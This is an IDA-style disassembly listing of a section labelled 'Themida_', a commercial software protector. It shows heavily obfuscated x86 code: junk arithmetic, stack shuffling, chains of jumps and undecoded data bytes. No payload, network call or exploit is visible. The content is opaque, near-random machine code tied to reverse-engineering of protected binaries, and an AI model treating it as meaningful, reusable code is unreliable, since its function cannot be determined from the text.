		dd 50525359h, 8093B151h, 0D1F6C0C9h, 0F63FF180h, 15C180D1h
		dd 0B259CC88h, 58E228F2h, 5E70E9h, 24148B00h, 4121E9h
		dd 5AD10100h, 0E981D901h, 31D65BC8h, 3E05E95Bh,	0E7C0FFFFh
		dd 1B9AE904h, 0C6810000h, 0C7B5B0DAh, 1DE9F231h, 81FFFF7Dh
		dd 5B7F1EF6h, 5201E920h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_56CA22:				; CODE XREF: Themida_:00565148j
		pop	edx
		add	ebp, edx
		jmp	loc_561AF2
; ---------------------------------------------------------------------------
		dw 8B66h
		dd 0B668240Ch, 8900000Ch, 0C5682434h, 0E900000Eh, 0FFFF73ABh
; ---------------------------------------------------------------------------


loc_56CA40:				; CODE XREF: Themida_:00565941j
		mov	ecx, 0
		add	ecx, ebx
		jmp	loc_5617BF
; ---------------------------------------------------------------------------
		dd 5E9BBB53h, 0DD012905h, 0E9C5295Bh, 5731h
; ---------------------------------------------------------------------------


loc_56CA5C:				; CODE XREF: Themida_:0056058Cj
		push	dword ptr [esp]
		pop	eax
		jmp	loc_5707C4
; ---------------------------------------------------------------------------
		db 50h,	0E9h, 0BFh
		db 0B3h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56CA6B:				; CODE XREF: Themida_:005661D9j
		mov	edi, [esp]
		add	esp, 4
		xor	edx, ebx
		pop	ebx
		and	ebp, edx
		pop	edx
		add	ebp, 0E77FFF97h
		sub	esi, 62E57545h
		add	esi, ebp
		add	esi, 62E57545h
		pop	ebp
		xor	esi, [esp]
		xor	[esp], esi
		xor	esi, [esp]
		mov	esp, [esp]
		shr	eax, 0Bh
		xor	ecx, eax
		push	ebp
		sub	esp, 4
		mov	[esp], esp
		push	edx
		mov	edx, 4
		jmp	loc_56CAF6
; ---------------------------------------------------------------------------


loc_56CAB5:				; CODE XREF: Themida_:0056F20Dj
		mov	esi, 3EB62776h
		jmp	loc_56FF67
; ---------------------------------------------------------------------------


loc_56CABF:				; CODE XREF: Themida_:005603AFj
		add	ecx, esi
		pop	esi
		jmp	loc_573652
; ---------------------------------------------------------------------------
		db 59h
		dd 5C241C87h, 46851h, 40E90000h, 66FFFF3Ch, 6824048Bh
		dd 23C7h, 54241C89h, 7923E95Bh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56CAEA:				; CODE XREF: Themida_:005659D6j
		mov	edi, 1E3B6425h
		and	ebx, edi
		jmp	loc_570958
; ---------------------------------------------------------------------------


loc_56CAF6:				; CODE XREF: Themida_:0056CAB0j
		add	[esp+4], edx
		jmp	loc_569465
; ---------------------------------------------------------------------------
		db 53h
		dd 4BBh, 3040E900h, 0FF53FFFFh,	0FF042474h, 555B2434h
		dd 8904EC83h, 4812424h,	424h, 0C5815D00h, 4, 8704C583h
		dd 8F5C242Ch, 0E95C2404h, 0FFFF1F99h
; ---------------------------------------------------------------------------


loc_56CB38:				; CODE XREF: Themida_:005649C2j
		pop	esp
		sub	esp, 4
		mov	[esp], ebx
		push	ecx
		mov	ecx, 0F342298h
		mov	ebx, ecx
		push	dword ptr [esp]
		pop	ecx
		jmp	loc_56376D
; ---------------------------------------------------------------------------
		db 59h
		dd 50C3305Ah, 1C70BB53h, 0D3F731AEh, 0BB55EB81h, 0D889AE1Dh
		dd 0FF8CC0E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_56CB6D:				; CODE XREF: Themida_:00568CC1j
		pop	cx
		pop	ebx
		jmp	loc_565E5A
; ---------------------------------------------------------------------------
		db 0F6h, 0D6h, 80h
aUtsmr		db 'î’é¬r',0
		dw 100h
		dd 0F0295AD6h, 0E9C8015Eh, 0FFFFEBA2h, 0C281E289h, 4, 3E22E9h
		dd 41E95B00h, 66FFFF27h, 0B7241C89h, 66FE3081h,	0F088505Bh
		dd 5A58C588h, 0ED80C5FEh, 0FFEB00F9h, 0C8B2434h, 4C48324h
		dd 6604C483h, 0E942B551h, 0FFFF78EEh, 0EDE9DD01h, 52FFFF36h
		dd 4E0FBB53h, 0D4E936ADh
		db 83h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56CBDF:				; CODE XREF: Themida_:0056AD46j
		mov	edi, [esp]
		add	esp, 4
		xor	ebx, 0D4F37EEh
		jmp	loc_571495
; ---------------------------------------------------------------------------


loc_56CBF0:				; CODE XREF: Themida_:0056D1CFj
		movzx	eax, ax
		push	131Ch
		mov	[esp], ebp
		push	esp
		mov	ebp, [esp]
		add	esp, 4
		jmp	loc_56B68C
; ---------------------------------------------------------------------------
		db 89h
		dd 4C581E5h, 81000000h,	4C5h, 242C8700h, 535EE95Ch, 88500000h
		dd 58C688C8h, 83240C8Bh, 348904ECh, 81E68924h, 4C6h, 4C68300h
		dd 5C243487h, 0CF885366h, 78E9F188h, 83FFFFBEh,	0C8904ECh
		dd 5314E924h, 0F168FFFFh, 89000067h, 88E9240Ch
		db 4Ch,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56CC5F:				; CODE XREF: Themida_:00564D35j
		push	22A7h
		mov	[esp], ecx
		jmp	loc_56597F
; ---------------------------------------------------------------------------
		dd 28D304ACh, 0A4B652D8h, 4183E9h, 37E2B900h, 0B8E93073h
		db 5Eh,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56CC83:				; CODE XREF: Themida_:0056685Fj
		mov	cl, al
		mov	dh, cl
		jmp	loc_56CDDA
; ---------------------------------------------------------------------------


loc_56CC8C:				; CODE XREF: Themida_:005605C5j
		push	eax
		push	1E314516h
		mov	eax, [esp]
		add	esp, 4
		neg	eax
		add	eax, 97326300h
		push	ebp
		jmp	loc_569CB6
; ---------------------------------------------------------------------------
		dd 4EA835Eh, 5C241487h,	0E9240489h, 0FFFF883Dh
; ---------------------------------------------------------------------------


loc_56CCB8:				; CODE XREF: Themida_:0056CE11j
		sub	ebx, 0C38E57EEh
		mov	ebp, ebx
		pop	ebx
		add	ebp, 244977C2h
		sub	ebp, 60C26CB8h
		and	ebp, 1C4E55DEh
		add	ebp, 386A324Fh
		dec	ebp
		jmp	loc_56BFD5
; ---------------------------------------------------------------------------
		db 80h
		dd 0F580EFEDh, 5EB8E9F2h, 1C87FFFFh, 0C3835C24h, 59BD6804h
		dd 1C890000h, 2474FF24h, 48F5B04h, 24248B24h, 0FF35F8E9h
		dd 32C181FFh, 0E9089134h, 0FFFFE8CBh, 2078F280h, 4AE95AD0h
		dd 8D000053h, 0ED688704h, 89000035h, 0A2E92404h, 0BAFFFF1Dh
		dd 4, 4631BE56h, 0E95210A8h, 0FFFF6D6Dh
; ---------------------------------------------------------------------------


loc_56CD40:				; CODE XREF: Themida_:0055FC5Fj
		add	dx, 26F1h
		jmp	loc_572016
; ---------------------------------------------------------------------------
		dw 2C8Bh
		dd 4C48124h, 8F000000h,	6CE92404h, 33FFFFEBh, 0C31240Ch
		dd 240C3324h, 2414895Ch, 0FF95E1E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_56CD6D:				; CODE XREF: Themida_:00563345j
		shl	ecx, 1
		add	ecx, 1
		push	esi
		mov	esi, 4DCFF3h
		sub	ecx, esi
		jmp	loc_5684EA
; ---------------------------------------------------------------------------
		dw 348Bh
		dd 1C62E924h, 53480000h, 0C964A9BBh, 0CD90E978h, 0BF57FFFFh
		dd 4, 515FFB01h, 5B10DFB9h, 502DE949h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56CDAA:				; CODE XREF: Themida_:005637B9j
		xor	esi, ecx
		pop	ecx
		jmp	loc_56F4E8
; ---------------------------------------------------------------------------
		dw 0D6F7h
		dd 0E7BFF681h, 5F56FDFFh, 3763E95Eh, 6850FFFFh,	598Eh
		dd 51242489h, 4B9h, 244C0100h, 32ADE904h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56CDDA:				; CODE XREF: Themida_:0056CC87j
		pop	ecx
		push	edx
		jmp	loc_573E91
; ---------------------------------------------------------------------------
		db 0B9h, 20h, 2Eh
		dd 0E9416037h, 0FFFFAAE8h
; ---------------------------------------------------------------------------


loc_56CDEC:				; CODE XREF: Themida_:00571889j
		add	ecx, 4
		jmp	loc_568AE7
; ---------------------------------------------------------------------------


loc_56CDF7:				; CODE XREF: Themida_:005614A7j
		mov	[esp], edx
		mov	edx, esp
		push	edi
		mov	edi, esp
		push	1042h
		mov	[esp], ebp
		jmp	loc_571EF3
; ---------------------------------------------------------------------------


loc_56CE0C:				; CODE XREF: Themida_:0056DCCBj
		mov	ebx, 3B717D8Ch
		jmp	loc_56CCB8
; ---------------------------------------------------------------------------
		dw 0E6C1h
		dd 9BF68102h, 689C1B2Ch, 731Eh,	52243489h, 4250E950h, 0C481FFFFh
		dd 4, 752A68h, 243C8900h, 722772BFh, 5EFC104h, 7D6E781h
		dd 0E4E92325h
		db 6Fh,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56CE4F:				; CODE XREF: Themida_:00564CDCj
		xchg	eax, edi
		jmp	loc_56DB8E
; ---------------------------------------------------------------------------


loc_56CE55:				; CODE XREF: Themida_:0056EE52j
		add	eax, 11D0298Ah
		or	eax, 532F6675h
		sub	eax, 73FFEE79h
		add	edx, eax
		pop	eax
		push	ecx
		push	ebx
		mov	ebx, 4
		mov	ecx, ebx
		pop	ebx
		sub	edx, ecx
		pop	ecx
		push	edx
		push	dword ptr [esp+4]
		jmp	loc_562DDE
; ---------------------------------------------------------------------------


loc_56CE7E:				; CODE XREF: Themida_:00560D62j
		add	eax, 4
		sub	eax, 4
		xchg	eax, [esp]
		pop	esp
		mov	[esp], ebp
		push	edx
		mov	edx, 6BA22415h
		mov	ebp, edx
		jmp	loc_55F7F6
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		push	ebx
		jmp	loc_572C6E
; ---------------------------------------------------------------------------


loc_56CEA3:				; CODE XREF: Themida_:00566810j
		push	6CABh
		mov	[esp], ecx
		jmp	loc_571844
; ---------------------------------------------------------------------------
		dd 81242C8Bh, 4C4h, 4EEE6800h, 2C890000h, 5DCDE924h, 8CB90000h
		dd 0C1197275h, 26E906E1h, 89000018h, 4758E9E6h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56CEDA:				; CODE XREF: Themida_:0056C1C6j
		push	ebx
		push	dword ptr [esp+4]
		mov	ebx, [esp]
		add	esp, 4
		pop	dword ptr [esp]
		pop	esp
		push	473Dh
		mov	[esp], eax
		push	esp
		pop	eax
		add	eax, 4
		add	eax, 4
		xor	eax, [esp]
		xor	[esp], eax
		xor	eax, [esp]
		pop	esp
		pop	dword ptr [esp]
		not	ecx
		xor	[esp], ecx
		jmp	loc_56FE8E
; ---------------------------------------------------------------------------
		dw 2C89h
		dd 52E58924h, 67028968h, 0D2F75A12h, 0B850DAF7h, 71410388h
		dd 713AA2Dh, 7E0C17Eh, 0D5B4EB2Dh, 58C22924h, 83FEA81h
		dd 57E947BCh, 1FFFFACh,	0BDBD55C1h, 0C16B086Ah,	0DDF707E5h
		dd 0FFB7A6E9h, 81E389FFh, 4C3h,	4C38100h, 87000000h, 0E95C241Ch
		dd 0FFFF9096h, 1B75366h, 96E980h, 96C180F9h, 241C8B66h
		dd 0E902C483h, 0FFFF70C4h, 2A74EE81h, 0F201E421h, 6ECE9h
		dd 14E95E00h
		db 0A8h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56CF97:				; CODE XREF: Themida_:0056342Bj
		and	ecx, 0DAC7C91h
		push	ebp
		mov	ebp, 43D83461h
		push	0
		sub	[esp], ebp
		pop	ebp
		jmp	loc_568618
; ---------------------------------------------------------------------------
		db 1, 0D3h, 81h
		dd 0D72F7CC3h, 0CEB8165h, 566EFF12h, 57299FBEh,	5EF32971h
		dd 2D69EB81h, 1FE931A3h, 29FFFFB0h, 0F1095AD6h,	0FF6862E9h
		dd 4719BBFFh, 0E3815125h, 103A3E36h, 8104EBC1h,	9A7ADEC3h
		dd 0CE30E940h, 77FFFFFFh, 2434FF3Ch, 4CC8E9h
		db 0
; ---------------------------------------------------------------------------


loc_56D001:				; CODE XREF: Themida_:0056246Fj
		xor	ebp, [esp]
		pop	esp
		jmp	loc_560602
; ---------------------------------------------------------------------------


loc_56D00A:				; CODE XREF: Themida_:00571E7Fj
		mov	[esp], ecx
		sub	esp, 4
		mov	[esp], esp
		push	ecx
		mov	ecx, 4
		add	[esp+4], ecx
		jmp	loc_5694F9
; ---------------------------------------------------------------------------
		dw 0D9F7h
		dd 8108E1C1h, 613ABC1h,	0CBFBE97Eh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56D032:				; CODE XREF: Themida_:00570E3Dj
		add	edi, 10DA2FFh
		xor	eax, edi
		jmp	loc_55FE74
; ---------------------------------------------------------------------------
		db 80h
		dd 71E9BBEBh, 8BFFFF91h, 8CE92424h, 5EFFFFE9h, 8958C129h
		dd 240C8BCFh, 608E9h, 0C2815B00h, 4C0C2CDDh, 0EA81FA29h
		dd 4C0C2CDDh, 13BAC281h, 2D5F1897h, 3D006035h, 7DACE953h
		dd 0E950FFFFh, 0FFFFCF2Fh, 6602E7C0h, 6647AF68h, 0B0240489h
		dd 0ACEF8043h, 0C780C728h, 48B66ACh, 2C48124h, 0FE000000h
		dd 9F0BE9C7h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56D0AA:				; CODE XREF: Themida_:00573AF4j
		mov	ch, dh
		jmp	loc_561ECE
; ---------------------------------------------------------------------------
		db 81h,	0CFh, 0A3h
		dd 8101103Dh, 0FFFFFFEFh, 0DAEF81FFh, 316D4C8Ch, 29E95FFBh
		dd 6600006Dh, 6824048Bh, 5AD9h,	0FF26EAE9h, 242C86FFh
		dd 0E9D00458h, 14D5h, 1751685Eh, 1C890000h, 5EBBE924h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_56D0F2:				; CODE XREF: Themida_:0056331Dj
		push	esp
		pop	ebx
		push	edx
		jmp	loc_55FF42
; ---------------------------------------------------------------------------


loc_56D0FA:				; CODE XREF: Themida_:0056E78Ej
		pop	eax
		push	694h
		jmp	loc_562EEC
; ---------------------------------------------------------------------------


loc_56D105:				; CODE XREF: Themida_:00566A22j
		add	esi, edi
		pop	edi
		mov	ebp, 79071A3Ch
		sub	ebp, esi
		pop	esi
		jmp	loc_560790
; ---------------------------------------------------------------------------
		db 83h,	0ECh, 4
		dd 3C34E9h, 24048F00h, 81685055h, 0E9494169h, 0FFFF1A97h
; ---------------------------------------------------------------------------


loc_56D12C:				; CODE XREF: Themida_:00561753j
		push	dword ptr [esp]
		pop	eax
		push	edx
		mov	edx, esp
		push	ebp
		mov	ebp, 4
		add	edx, ebp
		pop	ebp
		push	ecx
		mov	ecx, 4
		add	edx, 568F0D78h
		jmp	loc_56B6C6
; ---------------------------------------------------------------------------
		db 5Eh,	0E9h, 94h
		dd 0D1FFFF81h, 1BCB81EBh, 0E962B971h, 0FFFF1DDDh, 0E924248Bh
		dd 0FFFF8193h, 0E9241C8Bh, 0FFFF75B1h, 3532E95Ah, 2C89FFFFh
		dd 22E95424h, 35FFFF8Fh, 189971FBh, 8B574B05h, 58C62901h
		dd 644AE950h, 0B2520000h, 0E9D00050h, 0FFFF8DA5h, 4C481h
		dd 0D3E90000h
		db 63h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_56D1A7:				; CODE XREF: Themida_:00566B2Aj
		pop	ebx
		push	edx
		mov	edx, 4
		add	ebp, 77AD6697h
		sub	ebp, edx
		sub	ebp, 77AD6697h
		jmp	loc_55EE87
; ---------------------------------------------------------------------------


loc_56D1C1:				; CODE XREF: Themida_:00570678j
		xor	cx, 1921h
		add	ax, cx
		pop	ecx
		pop	cx
		xor	bx, ax
		jmp	loc_56CBF0
; ---------------------------------------------------------------------------
		dd 7A5A5B0Dh, 0D8F7483Eh, 8B05FD35h, 39B3E9A0h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_56D1E6:				; CODE XREF: Themida_:0056A721j
		add	esp, 4
		jmp	loc_57372C
; ---------------------------------------------------------------------------
		db 68h,	1, 0Bh
aLpyp@		db 'LPYP¸@',0
		db 0Fh
		dd 0FC685615h, 5E7AD864h, 5A3FEE81h, 0F0313595h, 0FFFE3EE9h
		dd 4C581FFh, 83000000h,	2C8704C5h, 0E8835C24h, 24043304h
		dd 0FFC2BFE9h, 5248B7FFh, 0EE80F7B6h, 0C0DEF641h, 0CE8008EEh
		dd 80E6D0F7h, 0F72869C6h, 0CEDEE95Ah
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56D246:				; CODE XREF: Themida_:005680C3j
		mov	edi, [esp]
		add	esp, 4
		shr	ecx, 7
		xor	ecx, 90818h
		push	edi
		mov	edi, esp
		add	edi, 4
		jmp	loc_56E7D6
; ---------------------------------------------------------------------------
		db 1
		dd 0C6815AD6h, 3F615B8Bh, 0EE81DE01h, 3F615B8Bh, 3F50EE81h
		dd 7FE9102Fh, 8B000044h, 4AE92424h, 81FFFF18h, 0C443F8C5h
		dd 0E9C5015Eh, 46Ah, 5C24048Fh,	0E9243C89h, 5B6Ch, 895FFD01h
		dd 468E9EBh, 0C4800000h, 80D4286Ah, 83E96AECh
		db 20h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_56D2B7:				; CODE XREF: Themida_:00563086j
		pop	ecx
		push	ebx
		push	eax
		jmp	loc_56FEC9
; ---------------------------------------------------------------------------


loc_56D2BF:				; CODE XREF: Themida_:00573C47j
		push	ebx
		mov	ebx, 26DA2AAFh
		shr	ebx, 7
		and	ebx, 1FF92E0Eh
		jmp	loc_562513
; ---------------------------------------------------------------------------
		db 0B6h
		dd 0F084E9FFh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56D2DA:				; CODE XREF: Themida_:0056285Dj
		push	ebp
		xor	dword ptr [esp], 72FF4728h
		jmp	loc_572776
; ---------------------------------------------------------------------------
		db 0BAh
		dd 581A49A1h, 0C9E9D621h, 66FFFFD7h, 6824048Bh,	6C27h
		dd 68243C89h, 0E3Dh, 0FF6410E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_56D309:				; CODE XREF: Themida_:00566D4Bj
		mov	eax, 0B8E67A8Ah
		add	esi, eax
		pop	eax
		add	ebx, esi
		pop	esi
		jmp	loc_56B2DF
; ---------------------------------------------------------------------------
		db 0F7h, 0DEh, 87h
		dd 3EE468F1h, 0C3E90000h, 52FFFF68h, 0A53638BAh, 0EA834216h
		dd 0BA5251FFh, 23DD1B1Ah, 0DF2814Ah, 0F714662Ah, 14BE56DAh
		dd 3189D8ADh, 0D1895EF2h, 56D1F75Ah, 9CA65FBEh,	0E9F131BFh
		dd 0FFFF5925h
; ---------------------------------------------------------------------------


loc_56D35C:				; CODE XREF: Themida_:00563F29j
		push	ecx
		push	0FFFFFFFFh
		pop	ecx
		sub	esp, 4
		mov	[esp], ecx
		jmp	loc_56C6CD
; ---------------------------------------------------------------------------
		db 0B6h, 0, 4
		dd 2CF0282Ah, 665A662Ah, 33D1E951h, 815E0000h, 4C4h, 4C48300h
		dd 8702C383h, 0D25C241Ch, 0E99C242Ch, 0FFFF1735h, 42Dh
		dd 74FF5000h, 0ABE90424h
		db 69h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_56D3AB:				; CODE XREF: Themida_:00573DD7j
		pop	esi
		jmp	loc_5675F6
; ---------------------------------------------------------------------------
		db 83h,	0ECh, 4
		dd 0B2241489h, 0E9DAF62Fh, 0FFFFC6BFh, 36EE815Ah, 813C321Dh
		dd 2B2B83E6h, 0E0E9552Ah, 55FFFFB7h, 0BB535D5Ah, 366F5FC1h
		dd 7764CB81h, 0F381269Fh, 470C7829h, 3BE0E9h, 24348100h
		dd 5BA15F55h, 83243C8Bh, 0F78104C4h, 5BA15F55h,	5E2434FFh
		dd 81E78957h, 4C7h, 4C78300h, 5C243C87h, 34FFF831h, 8E95F24h
		dd 66000054h, 0E924048Bh, 0FFFFF99Ah, 5A66F188h, 5966CE28h
		dd 0F6B551h, 0F70059EFh, 0FFF6EF80h, 4FE92434h,	0BAFFFFBAh
		dd 22F77A13h, 815AD731h, 0C0728DF7h, 0CBEE964h,	2A340000h
		dd 0FFE063E9h, 0E9D501FFh, 0FFFFE7F0h, 0E9F2295Dh, 0FFFF9066h
; ---------------------------------------------------------------------------


loc_56D46C:				; CODE XREF: Themida_:0057332Dj
		or	eax, 88C594Ch
		sub	eax, 5E1C48E1h
		add	eax, 140E2180h
		or	eax, 6F3E415Eh
		add	eax, 29F64287h
		sub	edx, 3E8B7201h
		add	edx, eax
		add	edx, 3E8B7201h
		jmp	loc_5717E2
; ---------------------------------------------------------------------------
		dd 0FE9E801h, 83FFFFE2h, 8B6604C4h, 8DE9240Ch, 64FFFFE8h
		dd 1EE9028Fh, 81FFFF16h, 4D1362C3h, 2E91E903h
		db 2 dup(0FFh),	58h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		jmp	loc_56821F
; ---------------------------------------------------------------------------
		db 81h,	0F7h, 0B2h
		dd 91F8A02h, 0E9515FFBh, 6838h,	241C895Ch, 0AFE9E389h
		dd 0FFFFFFF8h, 0E9042474h, 4DF5h
; ---------------------------------------------------------------------------


loc_56D4F0:				; CODE XREF: Themida_:0056E351j
		push	ebx
		push	24EF2334h
		pop	ebx
		sub	ebx, 0AAD0CF0Ah
		push	ebx
		jmp	loc_5659DB
; ---------------------------------------------------------------------------
		db 29h
		dd 0EC835DE8h, 24348904h, 96CE9h, 6F576800h, 1C890000h
		dd 4006824h, 95B0000h, 34FF1C5Fh, 2434FF24h, 4C4815Bh
		dd 51000000h, 8904EC83h, 0A8E92424h, 0D0FFFFA2h, 2355E9E4h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56D542:				; CODE XREF: Themida_:00573F20j
		sub	eax, esi
		pop	esi
		sub	eax, 1
		not	eax
		push	edi
		mov	edi, 265350D6h
		sub	eax, edi
		pop	edi
		xor	eax, 0E4540C47h
		jmp	loc_56A41F
; ---------------------------------------------------------------------------


loc_56D55F:				; CODE XREF: Themida_:00560F98j
		add	ebp, 4
		jmp	loc_566584
; ---------------------------------------------------------------------------
		dw 0B850h
		dd 34951472h, 4244429h,	240C8B58h, 0FF528DE9h, 80CB00FFh
		dd 805918EBh, 8B5876EBh, 0C4812414h, 4,	77C380h, 77EB80C3h
		dd 501FEB80h, 12E9B2B4h
		db 2, 2	dup(0)
; ---------------------------------------------------------------------------


loc_56D5A3:				; CODE XREF: Themida_:00561C5Ej
		mov	esi, 65EA320Dh
		add	esi, 2C74366Dh
		dec	esi
		xor	esi, 179A0A86h
		jmp	loc_573F1A
; ---------------------------------------------------------------------------
		dw 4BAh
		dd 81000000h, 0C6EF5EDh, 81D52934h, 0C6EF5C5h, 2C335A34h
		dd 242C3124h, 5C242C33h, 0FF7500E9h, 48B66FFh, 4EC8124h
		dd 89000000h, 0E589242Ch, 0FF4635E9h, 14DBE9FFh, 5359FFFFh
		dd 0FF22C6E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_56D5FD:				; CODE XREF: Themida_:0056884Fj
		pop	esi
		add	[esp+8], ecx
		add	dword ptr [esp+8], 3CF9155Ch
		pop	ecx
		push	dword ptr [esp]
		jmp	loc_55F4C7
; ---------------------------------------------------------------------------


loc_56D613:				; CODE XREF: Themida_:00566EA1j
		xor	eax, [edi+24h]
		xor	[edi+24h], eax
		push	ebp
		push	esp
		pop	ebp
		jmp	loc_566B22
; ---------------------------------------------------------------------------


loc_56D621:				; CODE XREF: Themida_:0056766Bj
		sub	edx, ebp
		pop	ebp
		jmp	loc_56B333
; ---------------------------------------------------------------------------
		db 0BFh, 37h, 67h
		dd 0EC834939h, 24348904h, 60C9E9h, 0EAE95700h, 52FFFFFFh
		dd 0A1A5CBAh, 0E9D02943h, 0FFFF530Dh
; ---------------------------------------------------------------------------


loc_56D64C:				; CODE XREF: Themida_:0056E3BAj
		dec	eax
		jmp	loc_568D35
; ---------------------------------------------------------------------------


loc_56D652:				; CODE XREF: Themida_:0056405Dj
		add	eax, 4
		xor	eax, [esp]
		xor	[esp], eax
		xor	eax, [esp]
		jmp	loc_563633
; ---------------------------------------------------------------------------
		db 56h,	89h, 0E6h
		dd 4C681h, 0EFE90000h, 66FFFF69h, 5524048Bh, 0FFBBC8E9h
		dd 24348BFFh, 4C481h, 0C2810000h, 4, 4673E952h,	285BFFFFh
		dd 34FF59C8h, 241C8B24h, 5104C483h, 4C68E189h, 89000061h
		dd 7FE92414h, 81FFFF43h, 4C7h, 4EC8100h, 89000000h, 0E9552404h
		dd 257Ch
; ---------------------------------------------------------------------------


loc_56D6C4:				; CODE XREF: Themida_:00572F30j
		shr	ecx, 3
		and	ecx, 62DA6F2Bh
		add	ecx, 0FD65F0E2h
		mov	ebp, ecx
		pop	ecx
		add	edi, ebp
		pop	ebp
		jmp	loc_56C4BF
; ---------------------------------------------------------------------------
		dw 814Bh
		dd 0B00267C3h, 3C5BE912h, 0DC88FFFFh, 8858E688h, 3D56E9F1h
		dd 4870000h, 3B51E924h,	0ED810000h, 5EC443F8h, 0E9515758h
		dd 0FFFFFAE5h, 4D8DE94Eh, 15D0000h, 91C4E9D8h, 0EC83FFFFh
		dd 48F5404h, 24048324h,	2434FF04h, 0E3895359h, 4C381h
		dd 4B680000h, 89000049h, 83BA2414h, 0F774F736h,	42E281DAh
		dd 815F4A44h, 1D430DF2h, 0DE3E90Ah
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_56D752:				; CODE XREF: Themida_:00562464j
		pop	dword ptr [esp]
		pop	esp
		jmp	loc_563CC8
; ---------------------------------------------------------------------------


loc_56D75B:				; CODE XREF: Themida_:0057027Bj
		xchg	ebp, [esp]
		pop	esp
		mov	[esp], ebx
		jmp	loc_572909
; ---------------------------------------------------------------------------
		db 0B8h
		dd 39D04588h, 48BC701h,	4C48324h, 0DAE9FD01h
		db 0EAh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56D77B:				; CODE XREF: Themida_:00569D68j
		push	esp
		mov	ecx, [esp]
		jmp	loc_56B245
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		push	1CC7h
		mov	[esp], edi
		mov	edi, 729510C7h
		add	edi, 8D6AEF3Dh
		add	ebp, edi
		pop	edi
		sub	ebp, 4
		sub	esp, 4
		mov	[esp], ebp
		push	dword ptr [esp+4]
		jmp	loc_57293D
; ---------------------------------------------------------------------------
aFrAS		db 'fR²',8,'€Äé',0
		db 0D4h, 80h, 0ECh
		dd 0FE5A66E9h, 29B753CCh, 0E7C0D7F6h, 5CEF8004h, 0E95BFC00h
		dd 314Fh
; ---------------------------------------------------------------------------


loc_56D7D8:				; CODE XREF: Themida_:0056F483j
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		sub	ebx, eax
		mov	eax, [esp]
		add	esp, 4
		sub	ebx, 606762A0h
		add	ebx, eax
		push	edi
		mov	edi, 606762A0h
		jmp	loc_55F1F8
; ---------------------------------------------------------------------------
		dd 4EC815Bh, 89000000h,	68522404h, 312E3BBAh, 15B0E9h
		dd 583BBB00h, 0D8291FB9h, 0D035E95Bh, 0E95EFFFFh, 0FFFFCE00h
; ---------------------------------------------------------------------------


loc_56D828:				; CODE XREF: Themida_:0056DB42j
		push	ebx
		jmp	loc_566FC3
; ---------------------------------------------------------------------------


loc_56D82E:				; CODE XREF: Themida_:00570A9Ej
		mov	[esp], ebx
		mov	ebx, 2DDC5B5Dh
		add	[esp+8], ebx
		pop	ebx
		add	[esp+4], ecx
		sub	dword ptr [esp+4], 2DDC5B5Dh
		mov	ecx, [esp]
		jmp	loc_567FD9
; ---------------------------------------------------------------------------


loc_56D84F:				; CODE XREF: Themida_:005611BEj
		push	ebx
		mov	ebx, 113E3F2Fh
		shl	ebx, 1
		shl	ebx, 7
		or	ebx, 1ED57B9Eh
		jmp	loc_561E5E
; ---------------------------------------------------------------------------
		db 33h,	14h, 24h
		dd 24048F5Ch, 523EE9h, 4BE5600h, 1000000h, 0C3815EF3h
		dd 4, 0FF3078E9h, 241CF7FFh, 1243E99Ch,	8B66FFFFh, 0A4682404h
		dd 8900000Ch, 0E189240Ch, 51E08950h, 361FBA52h,	0E5B96A12h
		dd 195EDC9h, 69EDE9D1h,	0F7BAFFFFh, 2D7EBC5Fh, 25890E29h
		dd 1DE9D029h, 51FFFF46h, 31244BB9h, 0D9F74958h,	8106E9C1h
		dd 985C04F1h, 59CD3129h, 6BEE581h, 0C5812462h, 3871A33h
		dd 2C8BEB29h, 4C48124h,	1000000h, 0F872E9DFh, 0BB53FFFFh
		dd 0B4159C7h, 32F3C381h, 4AE90AAEh
		db 52h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56D907:				; CODE XREF: Themida_:00563D44j
		add	edi, 4
		jmp	loc_56AE44
; ---------------------------------------------------------------------------
		dw 0E952h
		dd 0FFFF2ECBh, 4C18159h, 83000000h, 0C8704E9h, 24248B24h
		dd 0E9243489h, 0FFFFAA71h, 0E9F18859h, 2BE1h, 2958C329h
		dd 0F076E9DEh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56D942:				; CODE XREF: Themida_:00565551j
		push	edi
		push	3D114571h
		pop	edi
		push	2748h
		mov	[esp], esi
		push	3D723686h
		push	dword ptr [esp]
		jmp	loc_5674C4
; ---------------------------------------------------------------------------
		dw 5658h
		dd 0C681E689h, 4, 4C681h, 0BDE90000h, 0B8FFFF5Ah, 33B06ED6h
		dd 8308E8C1h, 0DA68FFE8h, 8900003Ah, 0BD552414h, 6C4B57ADh
		dd 71746CBAh, 0E9EA296Fh, 25Dh,	0C281E289h, 4, 8704EA83h
